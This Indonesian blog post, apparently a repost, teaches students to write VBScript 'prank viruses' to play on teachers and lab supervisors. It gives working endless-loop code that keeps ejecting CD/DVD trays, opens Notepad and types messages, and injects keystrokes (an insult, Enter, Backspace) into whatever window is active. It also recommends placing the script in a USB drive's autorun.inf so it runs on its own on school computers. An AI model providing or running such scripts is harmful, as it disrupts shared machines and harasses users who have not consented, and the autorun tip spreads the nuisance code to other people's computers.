Sumber : Anjasteknik.com
Di
Posting oleh : Anjas Asmara
Yuk buat
“Virus” Nakal, buat ngerjain dosen/guru atau pengawas lab, lagi suntuk di ruang
labkom Sekolah, pusing
ngga bisa maen facebook karena Nga ada jaringan atau diblog sama admin
labkom, yah iseng2 buatin scripts .vbs.
Caranya:
Buka notepad dan masukkan code berikut,
Ingett,,,,, Resiko
Ditanggung Penumpang ane uda coba dilab sekolah saya dulu smkn1lasusua
teman-temen pusing apa lagi yang cewe bilang wah,,, gawat ntar kite disuru
ganti.. hahaha jail nga tu… sub. Ok lanjut……
Set oWMP =
CreateObject("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1
then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
|
Simpanlah
dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan
asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan
CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu
cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau
keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe
colokin ke komp. Kampus/Sekolah, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: Pasti bias
ane uda coba 100% berhasil mala ane di bilangan ma temen cewe si kandang Virus
Nah mau
script .vbs yang laen lagi? Saya Kasih dee,,,,
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell =
WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate
"Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "A"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "j"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "t"
WScript.Sleep 500
WshShell.SendKeys "e"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
wscript.sleep 5000
loop
|
Scripts
diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? Anjasteknik pokoknya selama tidak dimatiin virus ini slalu buka notepad sambil
menuliskan Anjasteknik, apa hanya notepad gang,,,? Nga lah nee saya kasih
contoh bila target buka word atau muzila pokonya apa de yg bias ngetik pasti
dia nulis sendiri Anjasteknik hahaha setan kali yaa,,, nga percaya coba aja
sendiri…
ingat yah
simpan dengan ekstensi nama .vbs, klik file–>save as
Kode Vbs ini
akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang
jelak koq!"
loop
|
Dan membuat
terus menerus menekan tombol “Enter”
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys
"~(enter)"
loop
|
Terus tekan
backspace:
MsgBox "Balik lagi
ah...saltik"
Set wshShell
=wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
|
Semoga Berhasil anak muda…